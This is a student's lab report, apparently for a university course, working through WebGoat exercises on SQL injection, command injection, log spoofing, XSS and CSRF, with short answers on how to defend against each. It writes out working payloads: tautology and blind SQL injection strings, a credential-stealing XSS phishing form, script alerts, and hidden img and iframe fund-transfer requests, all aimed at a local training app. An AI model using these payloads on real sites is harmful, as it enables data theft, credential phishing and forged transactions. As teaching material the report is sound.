2019-2020-2 20175335 丹增罗布 《网络对抗技术》Exp9 Web安全基础
实践目标及内容
实践内容
本实践的目标是理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
实践步骤
实践过程目录
- WebGoat安装
- SQL注入攻击
- 1.命令注入(Command Injection)
- 2.数字型注入(Numeric SQL Injection)
- 3.日志欺骗(Log Spoofing)
- 4.SQL 注入(LAB: SQL Injection)
- 5.字符串注入(String SQL Injection)
- 6.数据库后门(Database Backdoors)
- 7.数字型盲注入(Blind Numeric SQL Injection)
- 8.字符串型盲注入(Blind String SQL Injection)
- XSS攻击
- 1.XSS 钓鱼(Phishing with XSS)
- 2.存储型XSS攻击(Stored XSS Attacks)
- 3.反射型XSS攻击(Reflected XSS Attacks)
- CSRF攻击
- 1.跨站请求伪造(Cross Site Request Forgery (CSRF))
- 2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:
- SQL注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
-
- 通过在用户名、密码登输入框中输入一些‘,--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
- 其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。
- 防御:
- 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、‘ 等
- 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。
(2)XSS攻击的原理,如何防御
- 原理:攻击者往Web页面里插入恶意 html 标签或者 javascript 代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御办法:
- 用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码
- 网页编写者角度:在输入到输出的过程中进行过滤、转义
- 表单提交的时候进行特殊字符的检测
- 对输入框做长度限制
- 在后台对数据进行过滤
(3)CSRF攻击原理,如何防御
- 原理:
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
- 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
- 防御:
- 通过 referer、token 或者 验证码 来检测用户提交。
- 尽量不要在页面的链接中暴露用户隐私信息。
- 对于用户修改删除等操作最好都使用post 操作 。
- 避免全站通用的cookie,严格设置cookie的域。
实践过程:
安装jdk1.8
- 去Oracle官网下载jdk1.8版本:Java SE Development Kit 8 Downloads
- 根据网上找到的教程在kali中安装好jdk1.8:Kali-JDK1-8安装教程
- 配置后通过 java -version以及javac -version即可看到是否安装完成!
WebGoat的安装
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等
- 去GitHub下载WebGoat 7.0.1安装包:The OWASP WebGoat 7.0.1 Release
- WebGoat默认使用8080端口,开启前先查看端口是否被占用: netstat -tupln | grep 8080
- 若被占用,终止占用8080端口的进程:
kill 进程号
- 安装并运行WebGoat: java -jar webgoat-container-7.0.1-war-exec.jar
- 看到 Starting ProtocolHandler ["http-bio-8080"] 这一条消息之后,即可开始后续的实验
浏览器中输入: http://localhost:8080/WebGoat ,进入WebGoat登录界面
下方已经给出两组默认的用户名和密码,直接使用一组登陆即可开始实验
登录成功会进入如下界面,左侧为课程栏,点击可以看到课题的原理和目标,按要求完成相应练习。
SQL注入攻击(Injection Flaws)
- SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
-
命令注入(Command Injection)
- 1.概念: 命令注入攻击对任何恶一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易收到这种形式的攻击。
- 2.原理: 在正常的参数提交过程中添加恶意代码以执行某条指令
- 3.目标: 能够在目标主机上执行任何系统命令
-
4.步骤如下:
-
左侧的菜单栏中选择
Injection Flaws
,然后点击Command Injection
,然后右键点击网页,选择Inspect Element
(查看网页源代码,也可以直接按f12
) -
在审查网页源码框中,可以点击绿框中的按键单击复选框按钮快速找到对应的
option
代码(之后的所有步骤都可以如此快速找到,不再强调),双击进行修改,在后面附加上“& netstat -an & ipconfig”
,然后单击View
-
- 在下方我们可以看到指令执行后的网络端口使用状况和IP地址。
-
数字型注入(Numeric SQL Injection)
- 1.概念: 注入数字型数据(如永真式)实现注入效果
-
2.原理: 在station字段中注入特征字符,组成新的SQL语句。如:
SELECT * FROM weather_data WHERE station = [station]
- 3.目标: 该例子可以通过注入SQL字符串查看所有天气数据。
-
4.步骤如下:
-
在菜单栏
Injection Flaws
下拉选项选择Numeric SQL Injection
-
同样打开页面源码,找到城市复选框对应源码,在Value值中添加
or 1=1
-
- 点击
GO!
,即可收到攻击结果:
-
日志欺骗:Log Spoofing
- 日志欺骗就是通过添加假的日志文件以实现登录
左侧功能栏选中Injection Flaws—>Log Spoofing
,在User Name输入5335%0d%0aLogin Succeeded for username: admin
,%0d
表示空格,%0a
表示换行;接下来点击登录会显示两行信息,第二行显示admin登陆成功,证明登陆成功
- 日志欺骗就是通过添加假的日志文件以实现登录
-
字符串注入:String SQL Injection
- 原理:基于以下查询语句构造自己的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = ‘?‘
- 目的:尝试通过 SQL 注入将所有信用卡信息显示出来。
左侧功能栏选中Injection Flaws—>String SQL Injection
,输入smith‘ or 1=1 --
将所有信用卡信息显示出来:
-
数字型盲注入:Blind Numeric SQL Injection
- 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
- 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中cc_number字段值为 1111222233334444 的记录中pin字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
输入查询语句101 AND 1=1 ,发现页面返回帐号有效
- 输入查询语句101 AND 1=2,发现页面返回帐号无效
- 针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 )
,提示Invalid account number
表示PIN<5000,使用二分法不断缩小范围
- 最终得出pin的值为2364,即语句
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
返回有效
- 字符串型盲注入:Blind String SQL Injection
- 原理:与Blind Numeric SQL Injection原理类似,pin字段类型为varchar
查询语句类似上一节:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) <‘H‘ );
,显示Invalid account number表示其PIN字段首字母≥H
- 原理:与Blind Numeric SQL Injection原理类似,pin字段类型为varchar
经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。
- 同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) < ‘h‘ );
依次判断其他字符,最后得出PIN字段的值为Jill
XSS攻击
-
XSS 钓鱼:Phishing with XSS
- 原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
- 目标: 创建一个form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中!
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
- 如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。
- 存储型XSS攻击:Stored XSS Attacks
- 原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 目标: 写入非法的留言消息,可以导致其他用户访问时载入非预期的页面或内容
在title中输入任意字符,留言板中输入<script>alert("Stored XSS Attacks,I am 20175335dzlb.");</script>
,点击生成的message,出现提示。
- 点击提交后攻击成功!
-
反射型XSS攻击:Reflected XSS Attacks
- 原理: 在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 目标: 使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
在Enter your three digit access code框中输入<script>alert("Reflacted XSS Attacks,I‘m 20175335dzlb");</script>
- 点击提交后攻击成功
-
CSRF攻击
-
跨站请求伪造:Cross Site Request Forgery (CSRF)
- 原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
- 目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
查看页面右侧Parameters中的src和menu值,分别为280和900
-
跨站请求伪造:Cross Site Request Forgery (CSRF)
在title中随便输入,message框中输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=1888" width="1" height="1" />
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
-
src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
-
宽高设置成1像素的目的是隐藏该图片
提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的1888元,从而达到CSRF攻击的目的。
-
-
绕过 CSRF 确认:CSRF Prompt By‐Pass
- 原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 目标: 与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
同上一个攻击,查看页面下侧Parameters中的src和menu值位304和900!
- 在title框中随便输入,message框中输入代码:
- <iframe src="attack?Screen=304&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=304&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击Message List中生成以Title命名的链接,攻击成功!
实验中遇到的问题
问题1、
解决办法:重新配置 jdk(参考链接??:https://www.jianshu.com/p/9ec7838411c8)
实验总结与体会
本次实验基本上都是在webgoat里面实现的,所以我认为本次实验的难点在于webgoat的使用。在webgoat的列表中有很多的模块,而我从里面选了一些比较典型的进行了实验。我认为本次实验还不是很难。